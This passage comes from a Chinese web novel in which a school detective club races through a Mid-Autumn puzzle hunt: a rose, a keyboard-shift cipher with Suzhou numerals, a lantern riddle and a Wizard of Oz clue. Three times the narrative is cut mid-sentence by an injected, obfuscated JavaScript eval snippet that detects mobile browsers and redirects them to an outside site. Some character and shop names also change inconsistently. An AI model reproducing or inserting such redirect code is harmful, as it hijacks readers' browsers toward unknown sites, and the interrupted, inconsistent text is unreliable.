“现在是七点十五分,我估计你应该七点才起床吧?”艾怡芊不屑地瞥了我一眼,“这比你平时在学校的起床时间晚了半个小时。”
“今天是星期日欸!而且还是中秋节的法定节假日啊!我本来打算一觉睡到中午的嘛……”
我不满地嘟囔着,瞪向一旁无所事事的谭深。
“真可恶,为什么朝闻社那帮家伙偏偏要在今天搞这么一个挑战啊——而且你为什么还接了啊?!”
“无聊嘛!”谭深耸了耸肩,“这个星期都没有接到委托,而这挑战看上去挺有趣的。同时——”
他抽了抽嘴角:“我要好好质问一下他们,为什么要开我的户。”
“啧……”我不禁翻了翻眼睛。
看着愤愤不平的杜苓瑛,和在一旁踱步等待的谭深,我只感到一阵无可奈何……
这两个家伙明明半斤八两嘛。
事情要回到昨天——
晚上七点,我正在家中移动鼠标,注视着电脑屏幕滚动的一条条资料,试图从大量繁琐的字句里,找出点有用的东西。
反复比对了几个不同来源的信息后,我长长舒了口气,靠在椅子杯垫上,揉了揉酸痛的脖子。
……好吧,看来这个地点确实没错。
仰头盯着白色的天花板,我任由明亮的灯光流入眼中,品味着心里纷杂的思绪。
如果……
而在那之后要怎么做……
已经困扰了我将近十年的问题,再一次于颅内翻搅。
只是那样做就好了吗?
或者万一这只是扑空一场呢?想也知道,他肯定不会一直待在那个地方。
如果就算找到了,但又没有足够的证据呢?如果没有找到,而线索就这么断掉了呢?如果……
痛。
我按住额头,深呼吸,让自己又一次冷静下来。
而就在这时,放在笔记本上的手机震了一下。
按照时差来说,父母应该不会在这个时间点给我发信息,而我的好友又不多,那就大概率是——
一个信封。
我盯着在“观棋亦语”群聊里,谭深发送的这张照片。头疼之余,只感到莫名其妙。
你被提前录取了吗……
这段字还没打完,屏幕下方就弹出了一条最新信息——
杜苓瑛:你收到恐吓信了吗?
我默默删光了打字框里的所有文字,心想人是怎么做到把对奇怪行为的迷惑,和对他人动机的质疑,以及对未知事件的好奇,完美融合成这种地狱般的幽默感的。
谭深:我觉得我没有任何被恐吓的价值,说不定这是委托呢?
杜苓瑛:我要把“把柄哥”这个外号免费授权给主角大人夏羡霞。
聊天软件真应该出一个给好友信息点赞的功能。
谭深:看完信了,还真是说雷特斯垂,目暮警官到。
杜苓瑛:怎么?是波西米亚的信纸还是两种不同的笔迹啊?
二位可真是实力相当呀。
正当我想出声表明自己的存在时,谭深又发来了一张照片,我便下意识地点了进去。
信封被拆开了:
致观棋亦语侦探团,
我们为你们准备了一个有趣的中秋节连环解谜挑战。9月16日星期一,早上7:20,水信路云泉巷,不见不散。
P.S.若你们赢了,则会有惊喜奖励,输了就要接受相应惩罚哦!
随心文学社社长容柃致意
他们社长这是被夺舍了吗?
信纸上中二的言论,与容柃那张温和可靠的脸重合,对我的脑海造成了极大冲击。
杜苓瑛:感觉容柃不像是那么中二的人,多半是那搞事二人组整出来的活。
很显然,她指的是泽墨梓和杏流玥。
谭深:你们不应该先在意一下我被开户的事情吗?!
杜苓瑛:已阅。
虽然我手头上正有一堆严肃紧张的事情,但看着这两人相声般的一来一回,我还是忍不住笑了。
……算了,反正计划的时间是在两个星期后,现在参与一下他们的娱乐活动也无妨。
“我们周五填了学籍表,那搞事二人组可能去办公室搜查了一下。”
我将上述想法发送,以此打消谭深的忧虑。
谭深:很好,我要去当面质问他们。你们有时间吗?
杜苓瑛:?
杜苓瑛发送了一只正在缓冲的萨卡班甲鱼。
杜苓瑛:你的意思是要接这个挑战吗?
杜苓瑛:中二且无聊,我估计顶多就是类似于海龟汤那种的推理游戏!
谭深:先别那么快下定论嘛。说不定他们出的挑战会与众不同呢?而且9月16日不是中秋节当天,你应该有空吧?
谭深:你是在担心那个挑战失败的惩罚吗?
这句话的激将之意太明显了,我似乎感受到谭深的轻笑声隔着屏幕响起。
杜苓瑛:我的懒觉计划被严重破坏了!
杜苓瑛:这就是最大的惩罚!!!
我已经能想象到杜苓瑛在另一边为失去的睡眠咬牙切齿的样子了。
结果,抱怨的话说了,人倒是也来了。
我才不信我这个社长的号令真这么管用,杜苓瑛多半也有这个意愿,她满脸怨气的原因大概在于朝闻社安排的这个时间点。
在云泉巷里等了几分钟后,终于出现了一位戴着黑帽子的少年——是泽墨梓,提着个黑色塑料袋,慢悠悠地走上前。
被杜苓瑛说中了,挑战果然跟这个一眼搅屎棍有很大关系。
“早上好~”他悠闲地打了个招呼,“我带着谜题走来啦!”
“……所以到底是什么?”杜苓瑛揉了揉眼睛,没好气地问道。
“先别急嘛——让我介绍一下游戏规则。”泽墨梓随意地一摊手,似乎对这个挑战的吸引力有着充分自信。
“在本次挑战中,你们将遇到不同的谜题,每一个谜题的答案,都会指引你们找到下一个谜题。”他像转播员般一本正经地陈述,“你们只要破解所有谜题,并在日落之前到达最后一个谜题所指的目的地,就能迎接惊喜奖励啦!”
在泽墨梓期待掌声的目光中,杜苓瑛又一次打了个哈欠。
“哎呀,可别把我们幸幸苦苦出的挑战看得太简单了呀。”见杜苓瑛这副无精打采的样子,泽墨梓不怀好意地笑了一下,“如果我们日落前还没在终点看见你们三位,就会自动判定你们挑战失败,并奉上……”
他压低声音,笑容逐渐变得诡异。
“……我们精心准备的惩罚。”
“哇……”然而,杜苓瑛似乎并不想精心准备捧场反应,“好可怕哦……”
“听明白了吧?”泽墨梓忽略了我们的无趣,投来挑战般的眼神,“准备好了吗?”
“那是当然。”我冲他一笑,算是给他提供点情绪价值。
与泽墨梓对视的一瞬,他的眼神稍稍躲闪了一下。
……啧,果然是被开户了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063887|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“好!很有精神!”泽墨梓打起精神般点了点头,递出手中的黑色塑料袋。
“那,就请你们从这个开始吧!”
“这个?”
为了摆脱困意,谭深刚接过塑料袋,我就好奇地凑了上去。
“什么啊?尸体残肢吗?”
“当然不是啦!”
泽墨梓当即大叫否认,接着又深吸一口气,使自己平静下来——
“你们打开看看就知道了。”他露出见面以来第一个无奈的表情,“我还有事,就先告辞了。”
泽墨梓留下一个意味深长的眼神,潇洒转身,向云泉巷深处走去。
此时谭深正好打开了袋子。
“什么?”谭深拿出一只绿莹莹的玫瑰,困惑地皱起眉头,“这是……表白吗?”
十几米开外的泽墨梓绊了一下。
“才不是咧!!!”
“‘玫瑰’是什么意思?”没有理会气恼地大嚷着的泽墨梓,我疑惑地托起下巴,“总不能真是表白吧?”
“都说了不是啊!!!”
“可能这是让我们去花店的意思?”艾怡芊不安地向干着急的泽墨梓瞥去一眼,给出正常猜测。
“不,”谭深盯着那只玫瑰,若有所思,“这玫瑰不是花店里的。”
“真的吗?”我虽然心里有谱,但还是想听听他的分析,“你是怎么肯定的?”
谭深把玫瑰倒过来,茎底朝上。
“花店里卖的花,一般都会斜着切花茎,以便让花充足吸收水中养分。”他捏住玫瑰茎没刺的部分,将它在手中打着转,“但这只玫瑰的花茎切面是水平的,而且不太平整,周围还沾着些泥点。所以,它应该是从土地里被摘下的。”
他又摸了摸玫瑰残损的花瓣。
“湿的,花茎上的泥点也没干。看来泽墨梓没有故意破坏环境,花是被雨水打掉的。”他试图腾出一只手,好去翻自己的挎包,“得查一下南穗市的各区天气……”
“最近几小时里下过雨的区有三个,”艾怡芊已经开始念他查到的结果,“我们区花浦区,附近的白海区,和比较远的越湾区。”
“哎呀呀,湿玫瑰淋的是哪个区的雨呢?”我故作为难地踱步,提高音调,“三选一,买定离手!”
“你已经知道了吧……”艾怡芊无奈地笑了出来。
“啊?你们不知道吗?”我瞪大眼睛,依次看向艾怡芊和谭深。
“不知道。”他们两个异口同声。
“不会吧?”我是真心感到吃惊,“越湾区流鹭公园啊!”
艾怡芊收起笑容,耸耸肩:“我基本没去过公园。”
“……哦,好吧。”我于是把问话对象改为另一位,“那你呢?”
“我知道这个公园,”谭深总算表现出一点理解,“小时候我爸……带着我去过。”
“那你应该记得吧?”我试图唤起他的记忆,“流鹭公园有一个园区叫‘玫瑰彩虹’,里面有一片七色玫瑰田,这朵玫瑰应该就是那片绿玫瑰田里的!”
面对我的解释,谭深抱歉般地笑了笑。
“我确实见过这个叫‘玫瑰彩虹’的园区——但我只在指示牌上见过,从来没进去过。”他轻摇着头,“毕竟这公园那么大,而‘玫瑰彩虹’指示牌写的地方又太偏远冷清了,一般家长都会带孩子去更热闹的地方玩吧?”
我愣住了。
谭深说得太有道理了,导致我张了张嘴,最后还是决定保持沉默。
“走。”谭深把那只玫瑰扔回塑料袋里,一挥手抛进了旁边的垃圾桶,“去流鹭公园吧!”
……我可以不去吗?
23. (2)文字密码
坐了一个多小时的地铁,我们三个总算站在了流鹭公园大门前。
“……晚上八点至十二点,公园将在青环广场摆设多个摊位,举办猜灯谜活动。成功猜对者,将获得亦乐饼屋任意口味月饼一份……”
具有节日气氛的广播声响起,在整个公园内回荡着。
“……有饼自远方来,不亦乐乎?亦乐饼屋诚挚邀请您,共度佳节,齐贺中秋……”
“真可恶,为什么那帮家伙不让我们在晚上来啊?”听到这段广告,杜苓瑛脸上流露出对月饼的向往之情。
而后,似乎想到了什么,她的脸色转变为烦躁:
“或者干脆就别让我们来了!”
看来,她对这个公园也有些不太愉快的回忆。
“早点解谜早点走,赶紧办正事吧。”我叹了口气,浏览着一旁的公园地图,“‘玫瑰彩虹’的路,是在……”
“这边。”杜苓瑛死气沉沉的声音从左边传来,“我来了那么多次,闭着眼睛都能正确走完全程。”
于是,在杜苓瑛的指引下,我们避开一个个水洼,踏着崎岖不平的石子路,迅速来到了“玫瑰彩虹”园区。
园区中,各色玫瑰迎面绽放。但可能出于水土不服的原因,每一片花瓣都略显黯淡。经过先前的雨水侵袭,大多数玫瑰都已经有些残损,粘着点点雨珠,在灰蒙蒙的阳光下显得有些刺眼。
而在那排绿色之中,我瞥见了一星格格不入的红。
“谁这么缺德啊……”杜苓瑛也发现了,咕哝着捡起那个食品包装袋,“竟然把垃圾扔这——嗯?”
她俯下身子,激动地叫起来:
“找到了,就是这!”她指着泥土中的一截残茎,“那朵玫瑰就是从这掉下来的!”
谭深立刻也蹲了下去,看了看那截残茎,又仔细端详起那个包装袋来。
“不错,看来这就是下一个线索了。”他看完后,将包装袋递给我。
是月饼的包装袋,上面标着“亦乐?”。袋子已经被撕开,里面是空的。
我把包装袋在手中翻来覆去,以便确认它上面还有没有别的信息,而就在这时——
“嚯哟,恭喜你们……成功破解了第一个谜题!”
冷不丁地,杏流玥出现在我们身后。
“哇啊!”
杜苓瑛被吓了一跳。
“哼哼,看来我潜行得挺好的嘛!”杏流玥看着差点摔进玫瑰丛里的杜苓瑛,得意地一撩头发,“猜猜我是来干什么的?”
“吓唬我们?”我面无表情,心说这搞事二人组还真是爱炒气氛。
“不仅仅是这样啦!”她笑嘻嘻地一甩手,变出一张纸,“我是来补全提示的——你们拿到的那玩意只算半个提示。”
杏流玥朝我手中的月饼包装袋扬了扬下巴。
“那可真是辛苦你们了啊 。”谭深不屑地笑了笑,接过那张纸。
结果,他只看了一眼,轻松的表情就立刻消失了,换成一副眉头紧锁的样子。
“这就开始上难度了啊……”谭深举起那张纸,贴近自己的眼睛,似乎看得很艰难。
“这可是我和泽墨梓合作出的谜题哦!”见谭深这副为难的样子,杏流玥笑得更加开心了,“顺带一提,前面那朵玫瑰也是我出的——昨晚,天气预报说今天清晨越湾区会有大暴雨,而我当时就肯定,这边一定会掉朵玫瑰……”
“怎么了?能有多难?”杜苓瑛没理会杏流玥的喋喋不休,好奇地凑近举着纸的谭深,“让我看一眼。”
谭深把纸翻了过来,并往下放低了一点,让杜苓瑛和我都看到了那张纸——
(swy,gab)(its,its)(jspu,swy)
〤、〢、〨、〥、〡
〤、〡、〡、十、〦
〥、〣、〩、〩、〢
〧、〨、〨、〣、〦
〢、〥、〧、〤、十
〩、〣、〢、〧、〢
这是地球上的语言吗?!
怪不得谭深的表情那么为难呢,我也看得一头雾水。
“看你们那么困难,我就勉为其难给个提示吧!”杏流玥大幅度地摇着头,似乎在表达嘲讽。
她戳了戳那张写满密码的纸:“上面那一串字母,其实是几个坐标,与下面那堆符号相对应。”
“然后呢?”谭深抱着不切实际的希望追问。
“然后……就没有然后啦!”
杏流玥把手向上一举,眯起神采奕奕的眼睛。
“那些符号的意思,就看你们自己了哦~”
她目不转睛地盯着我们,满足地欣赏着我们茫然无措的表情。
——好吧,不是所有人都茫然无措。
“……为什么要用现成的密码啊?”
杜苓瑛满脸不悦,抱起手臂抱怨。
“正常情况下,一般没几个人会知道这种密码吧?这不纯刁难人吗?”
听了这话,杏流玥扬起眉毛,露出意外的表情。
“因为我觉得你们可以用搜索引擎嘛——又没说不能用。”她耸耸肩,“不过我很好奇,你是怎么知道它的?”
“我看过的某英剧里提到了这个。”杜苓瑛无奈地笑了笑,拿出手机按了几下,展示给我和谭深看——
“苏州码子对照表”。
〡=1、〢=2、〣=3、〤=4、〥=5、
〦=6、〧=7、〨=8、〩=9、十=10。
“中国早期的商业数字吗?”谭深盯着对照表下方的介绍,“我还以为是什么奇怪的文字呢。”
“我之前甚至以为它是火星文进阶版。”杏流玥幽幽地附和,“顺带一提,这是我的苏州外婆教我的。”
“但就算知道了苏州码子的意义,我们也还是得破解上面的坐标。”我瞥了眼那串不知所云的字母。
“试试凯撒?”杜苓瑛带着期待提议,“把它往前移三位……呃……”
“p,t,v……”谭深念出翻译结果,“很明显还是乱码吧?”
“难道我们要把所有移动位数都试一遍吗?”期待落空的杜苓瑛揪着鬓发,满脸苦恼,“这也太折磨人了吧?!”
“唉……”杏流玥摇摇头,夸张地叹了口气,“那倒不至于啦,确实只需要往前移三位就行了。”
按她这么说,移动的方式没错。
“但这‘ptv’总不能就是坐标吧?”谭深表示怀疑。
移动方式正确,移动结果却还是乱码。这样的话,就有两种可能——
“你们还准备了一层密码?”杜苓瑛不敢相信地质问杏流玥。
“没有啦没有啦~”杏流玥轻笑着否定,“我们可没有弄那么多,毕竟——”
她翘了翘嘴角。
“后面还有好几个谜题呢!你们可要抓紧时间哦~”
“啧……”杜苓瑛顿时有些紧张了。
唉,这家伙一旦慌了,就靠不住了。我决定自己再认真想想。
被杏流玥否掉了多层密码的可能后,还剩一个——
凯撒密码是按照字母表移动的,而如果……这份密码不是如此呢?
“键盘!”
我点开手机,脱口而出。
“这份密码是按照二十六键的顺序移动的。‘swy’在键盘上往前移动三位,就是……‘one’。”
(按照凯撒密码的规则,如移到最开头的字母后,仍未移满位数,则从最后一个字母开始,继续移动剩下的位数。)
“‘gab’是‘six’,‘its’是‘two’……”杜苓瑛总算不慌了,“这样解好像没问题!”
翻译出来的结果是:(1,6)(2,2)(4,1)。
“哈,这下就能看懂了。”谭深笑着舒了口气,“把这个坐标套到下面的苏州码子表,就是……”
〩,〡,〥。
杜苓瑛看着苏州码子对照表,念出最后的结果:
“915。”
“这又是什么意思?总不能要拿南穗市铁路图来破译吧?”
杜苓瑛直勾勾地瞪着空气,仿佛那串“915”正在她眼前飘动。
“日期?”我提出猜测,“‘915’是中秋的农历日期。”
“应该不是那样。”谭深悠悠地笑了笑,“不过,“中秋”两个字倒是给了我灵感……看这个。”
他指向我手中的月饼包装
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063888|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
袋。
“还记得那个亦乐饼屋吗?”
谭深盯着包装袋上印着的“亦乐?”提示道。
“哦!”杜苓瑛恍然大悟,朝我们来时的方向一指,“青环广场的灯谜活动,奖励就是亦乐饼屋的月饼——公园的广播说了!”
“你们到底是怎么记住那些无关紧要的东西的……”见他俩一拍即合的样子,我半是震惊,半是无奈地感慨,“那么这个‘915’,应该就对应着灯谜摊位的编号吧?”
说最后这句话时,我转头看向杏流玥。
“不知道哦,你们说呢?”杏流玥并没有回答我的求证,“去确认一下不就得了?”
“那就出发吧。”杜苓瑛率先动身,“我受够这里的空气了!”
愤恨地,她低声补上最后一句——
“……真令人窒息。”
青环广场上,石砖地面仍残留着大片大片的雨水。快要升到半空中的太阳透过云层,在水面上映出一片白晃晃的光波。
明净的天空下,摊位绕环形广场摆了一圈,因未完成的布置显得有些冷清。每个摊位前方,都立着一块写有编号的牌子。
“唔……”杜苓瑛把手搭在额头上,环顾四周,“这里只有十个摊位嘛。”
“那不然呢?”艾怡芊不屑地看了她一眼,“你总不会以为,真有九百一十五个摊位吧?”
“呃……没有没有。”
但是你“呃”了一下吧?近千个灯谜摊摆在广场上……想象力还真是丰富。
“开始找吧。”我领先走向九号摊位,看了眼桌面上的一大摞灯谜牌,开始在里面翻找,“啊,十五号就放在最上面,”
我举起那块标着序号“15”的灯谜牌,偏头念出上面的内容——
“‘秦后汉高祖,三国麦城主’。打一字。”
“……这灯谜不会需要历史知识吧?”杜苓瑛的话语有气无力,“我压根没听过历史课。”
“我也没听过啊……”光是看着这些字,我就感到头疼。
“‘秦后汉高祖’……”艾怡芊重复道,“指的是刘邦吧?”
“‘三国麦城主’……关羽败走麦城吗?”我努力搜集着脑中为数不多的《三国演义》内容,“可这跟刘邦有什么关系?”
“八竿子打不着吧……”杜苓瑛重重地叹了口气。
“但应该只能这样解了吧?”艾怡芊试图调动士气,“要不我们再想想和这两人有关的事物,看看能不能找出点联系?”
“和刘邦有关的话……我第一个想到的是项羽。”我说到这,不禁有了个玩笑般的想法,“项羽倒是能和关羽扯上点关系,他俩名字里都有个‘羽’字——”
“哦!”杜苓瑛突然一锤桌子,“我知道了!你简直是天才!”
她冲一脸迷惑的我竖起大拇指。
“你知道怎么解了?”艾怡芊同样没明白过来。
“汉高祖的位置是刘邦的,而不是项羽的。”杜苓瑛解释道,“同时,关羽也失去了麦城,麦城主最终不是关羽——这就是这两句话的关联处。”
她往后退了一点,以便在说话时同时看着我们两个:
“不是名字里带‘羽’的人,也就是‘非羽’。”杜苓瑛急促地一口气说完,“‘翡’!‘翡翠’的‘翡’!”
“‘翡’……”我咀嚼着这个灯谜答案,“但这个单字,怎么能表示一个明确的地点呢——你在干什么?”
杜苓瑛正围着摊位走动,俨然一位巡视员。
“我在寻找可能存在的朝闻社成员,”她又开始向附近的摊位张望,“这种时候,他们应该跳出来补全提示才对啊?”
“确实有提示。”我手中的灯谜牌突然被艾怡芊抽走了,“看这里。”
他敲着灯谜牌的背面——上面贴了一张小纸条:
去逛街吧~
“这应该就是提示了。”艾怡芊把灯谜牌塞给凑上来研究的杜苓瑛,“虽然不知道是什么意思。”
“……让我们去逛街?”我想了一下,拿出手机,“这附近确实有一条商业街。我查一下……”
输入“翡”后,搜索引擎得到的最近地点,是灯花路商业街的一家翡翠专卖店。
24.(3)大骗子的魔术
“关门了啊……”
谭深站在“珍碧”翡翠店的卷闸门前,一脸失落。
“毕竟是中秋节嘛。”艾怡芊在他身后无奈地苦笑了下,“我们可以在这附近找找线索……”
“你们好。”
“哇啊!”
又被吓了一跳的我往卷闸门撞去,发出一阵巨响。
“哐当哐当——”
“你没事吧?”转过头后,容柃略带焦急的脸出现了,“我没打算吓你们。”
“没事没事……”我尴尬地笑着,连忙从还在晃动着的卷闸门上起身,“你是来补充提示的吗?”
“对,”容柃正色道,“这一次的提示是……”
他轻轻笑了笑:“大骗子的魔术。”
听到这话,我不禁皱了皱眉。
“……从史学领域跳转到文学领域了?”我冷笑一声,摇了摇头,“侦探团也不是全能的啊。”
“文学领域?”谭深疑惑地看向我。
“对,”我叹了口气,“‘大骗子的魔术’是《绿野仙踪》里一个章节的名字。”
“你怎么连这种东西也记得……”艾怡芊再一次惊住了。
“巧合罢了,某个推理作品引用了这个章节名。”我耸耸肩,“但这跟苏州码子一样,简直就是用来刁难人的嘛!”
我不满地看着容柃。
“呃……我真没这个意思。”容柃脸上流露出抱歉的神情,“杏流玥和我说过,你们可以用搜索引擎,所以我才想……夹带点私货。因为……”
他平淡地笑了笑。
“这与我加入朝闻社的初衷有关,也是我打算给你们的一个忠告。”
气氛似乎逐渐冷了下来。
“忠告?”谭深挑眉,“给我们?”
“对。”容柃推了推圆框眼镜,面色平静,“《绿野仙踪》里,‘大骗子的魔术’这个章节名,指的是翡翠城魔法师奥兹的骗术——他让大家戴上绿色眼镜,营造出翡翠城由翡翠所造的骗局。那么……”
他的眼神顷刻间变得冷峻。
“你们如何能保证,在自己推理的过程中,没有戴上一副有色眼镜呢?”
沉默中,时间仿佛被拉长了。镜片闪烁下,容柃的眼睛明暗不清。
“又或者,你们在宣布推理结果时,能保证观众们的看法都是客观合理的吗?而当这些观众向其他人转述这个结果时,其他人听到的,会和实际的案件结果一样吗——”
“你是说,”我打断了他,“我那天不应该当众指出,齐海瑷是砸坏贝斯的真凶,对吗?”
我对上他毫无波澜的目光。
“我理解你的意图,”容柃继续说道,“你是想让当时在座的同学们,都认清齐海瑷同学的本质,从而进一步让全校的人都知道这件事。这就是你想对齐海瑷同学降下的惩罚。
“然而,你不能低估群众中的潜在危害:任意一个人,都能给他人带上有色眼镜。奥兹的本意是无害的,但不是任何人都会如此。在这件事的诱因之下,齐海瑷同学可能会遭受很多她不应该承受的攻击。”他的语气逐渐变得低沉,“我想,你应该也清楚,对恶意施加的恶意,不能叫做善。”
……嗯?我稍微眯起眼睛。
看来这家伙也对这方面有过比较深入的思考呢。
“这些攻击者……”容柃顿了顿,深吸一口气,“大多是在假借正义之名,以实现自己心中的施恶欲望。而我现在这么说,不是在批评你,更不是在维护齐海瑷同学的罪行,我只是想……”
他的眼睛往右上方瞥了一下,然后再次看向我:
“寻求一种更恰当的解决方式。”
面对容柃的话,我不可置否。
“……好的,”我垂下了目光,“我知道了。”
余光中,容柃仍没有表态。
连表示基本礼貌的简单回应也没有吗?那就是没得谈了。
我抬起脸,直视他深邃的双眼。
“我下次会注意的。”
我弯起嘴角,冲他一笑。
既然多说无益,那就自己去阻止吧。
我当然理解容柃的意思。他说的那些。我在指出齐海瑷是凶手之前,就已经想过了。但是……
我就是这么打算的。
我知道,我这样做带来的后果,于齐海瑷而言,绝对算不上人道。
但那又怎么样?
至于那些对齐海瑷来说,可能会出现的霸凌者,一样也是潜在的人渣。
到那个时候,再一起干掉不就好了?
至于容柃,从他没有对我的假意接受表示认可的反应来看,他应该已经察觉到了我的意图,但是……
呵,他真的能阻止吗?
倒不如说,这些混乱的事情,从一开始就是必然发生的。
在必然事件中找点乐子,难道不是……
人之常情吗?
“呵。”
“你在……”注视着杜苓瑛嘴角浮起的那抹冷笑,我感到有些许不安,“笑什么?”
“啊?”
杜苓瑛抬眼,冲我咧嘴一笑。
“我想起了高兴的事情。就是那个……《水晶金字塔》里面,玲王奈问石冈君……”
“好了,你刚刚没听吧?”我叹了口气,“谭深已经找到下一个地点了。”
此刻,容柃已经离开,我们正在原地讨论“大骗子的魔术”所指的目的地。
“没错,”谭深冲这边晃了晃他的手机——上面显示着“奥狮眼镜店”这个地点,“这是离我们最近的眼镜有关地点了,就在我们楼下。而且它的名字里有个‘奥兹’的‘奥’。”
“啊,那应该就是这里了。”杜苓瑛斗志昂昂地翘起嘴角,率先向前方的手扶电梯走去,“出发吧!”
我只好跟上去,站到了她所在位置的后一级台阶上。
随着电梯的运作,在我周边,镶着镜面的墙壁缓缓平移着……
映出杜苓瑛那张顷刻间变得阴冷的脸。
“……”我抿了抿唇。
凌狮眼镜店倒是没关门。位于前方的杜苓瑛绕开热情的售货员,径直朝店内走了进去。
“……他们会把谜题放哪呢?”走近杜苓瑛后,我听到了她的小声嘀咕,“朝闻社总不能买通了店员,让他们直接向我们说出谜题吧……哦?”
她指着墙壁上贴着的一张纸。
“找到了,在这里。”
那是一张迁店通知。
尊敬的顾客们:
由于店租上升等原因,奥狮眼镜店将于中秋节(9月17日)后,迁往越湾区岩巅路12号,特此告知。若造成不便之处,敬请谅解。
凌狮眼镜店
在这张通知上,“越湾”“巅”“狮”四个字,先后被很浅的铅笔痕迹画出下划线,一旁还标有个“1”。
“‘越湾巅狮’……?”杜苓瑛一脸迷惑,“这是什么意思?这个‘1’又是什么?”
就在这时,我突然留意到,旁边不远处,也有一处特别的地方。
“看,”我提醒杜苓瑛,朝货架上一指,“那里。”
一副青色镜框的眼镜下,摆着写有“向北牌竹青色”的牌子。其中,“向北”和“竹青”都被人用铅笔画上条下划线,旁边还标了一个“3,over”。
“这里也有。”身后传来谭深的话音,我转头看去,只见他正站在店里的自助收银机旁。
“看。”我和杜苓瑛走过去后,他敲了敲收银机的机身——
机身右上角标着“支持现金支付(仅支持10元、20元、50元、100元面值的纸币和一元硬币)”。其中,“硬币”二字和我们之前发现的那些线索一样,被铅笔画出了下划线。
而在那几行说明下,投币口旁边的“投币口”三个字中,“投”也被标了出来。
“还有这里。”谭深又敲了敲机
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071616|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身右下角的商标——“高慧?”的“高”被画了下划线。同时,商标旁边有个用铅笔写的“2”。
“这三个地方都标有数字,这应该是在告诉我们谜题的顺序。”我转身,重新盯向眼镜货架上的“3,over”,“而既然货架上的数字‘3’旁边写了个‘over’,大概那就是本次谜题的最后一句了。”
“应该是这样。”杜苓瑛点了点头,“第一句谜题是通知上的‘越湾巅狮’,第二句谜题是这个收银机上的‘硬币投高’,第三句谜题则是那边货架上的‘向北竹青’。”
“‘越湾巅狮,硬币投高,向北竹青’。”谭深重复了一遍谜题内容,眉头慢慢皱起。
这个谜题也太无厘头了吧?
“……这几句话真的有实际意义吗?”我感觉我们可能要在这里卡关了。
“先别想了。”谭深叹了口气,将双手放在脑后,率先朝门外走去,“奔波了一上午,我们还是去楼下吃个午饭吧。”
“附议!我都快饿死了。”杜苓瑛小跑着跟了上去,“吃完饭后再讨论。”
站在一间小型快餐店前面,我们三个眺望着高悬在天空正中央的太阳,咀嚼着手里热乎乎的三明治。
“现在是……中午十二点。”我看了眼手机,咽下嘴里那口三明治,“吃完三明治后,我们大概还有六个小时的时间。”
“你备注的酱料果然是花生酱。”杜苓瑛饶有兴致地偏过头来,“我就没见过你要其它的酱料。”
“有花生酱在,其它酱料还有什么存在的意义吗?”我又咬了一大口三明治加花生酱。
“好了,你们都吃得差不多了吧?”谭深把他的三明治包装袋揉成一团,精准抛进了一米开外的垃圾箱,“先从第一句‘越湾巅狮’开始讨论吧。”
“翻译成人话,就是‘越湾区最巅峰的狮子’。”杜苓瑛不屑地笑了一声,学着谭深的样子,扔出了手中的包装袋,“所以接下来,我们要去寻找越湾区拥有巅峰狮生的狮子。”
包装袋碰到垃圾箱的边缘,反弹了一下,落到了地上。
“你给我认真点,”我盯着去捡包装袋的杜苓瑛,提醒道,“限定时间已经过去一半了,但我们可不知道还剩多少个谜题啊!”
“好吧……”杜苓瑛不高兴地应着,退回到我身旁,拎着包装袋重新瞄准垃圾箱,“那我就正经说说我的猜测——我猜是越湾区的南穗荣龙动物园。”
包装袋从杜苓瑛手中释放,经过一道优美的弧线,在我们所有人的目光中落到了地上。
“传闻中,我们今年秋游打算去的那个动物园?”谭深不知是从哪得到了小道消息,“何以见得?”
“南穗荣龙动物园是越湾区唯一的动物园,我初中秋游去过。在那边,有一座狮子山。”杜苓瑛晃着刚捡回的包装袋,看上去颇为自信,“而且,我记得狮子山旁边有一个饮料自助售货机,那应该就是指‘硬币投高’了。”
杜苓瑛打了个响指,将包装袋又一次扔出。
“所以,我们接下来只需去荣龙狮子山旁的售货机,然后再往北寻找跟‘竹青’相关的东西就行了!”
杜苓瑛兴奋的话音中,“啪”的一声,包装袋再次落在了地面上。她只好哀叹着上去捡。
杜苓瑛将包装袋第三次捡回来后,我盯着她,欲言又止。
“怎么了?”她挑战般地看着我,“花生大人有什么意见?”
我思索片刻,又考虑了一下。
“算了,”我摇摇头,“还是按你说的那样去做吧。”
“你什么意思嘛?”得到我模棱两可的回答后,杜苓瑛不悦地嚷嚷,“有话就说清楚。”
“好了,既然确定了地点,那就赶紧动身吧。”谭深没有理会不满的杜苓瑛,开始寻找着最近的地铁站指示牌,“再耽误时间,就来不及了。”
转过身去的前一秒,我余光瞥到,杜苓瑛终于成功把包装袋扔进了垃圾箱里。
25.(4)隐藏支线
等到我们站在南穗荣龙动物园内时,太阳已经在高空中缓缓移下一段距离了。
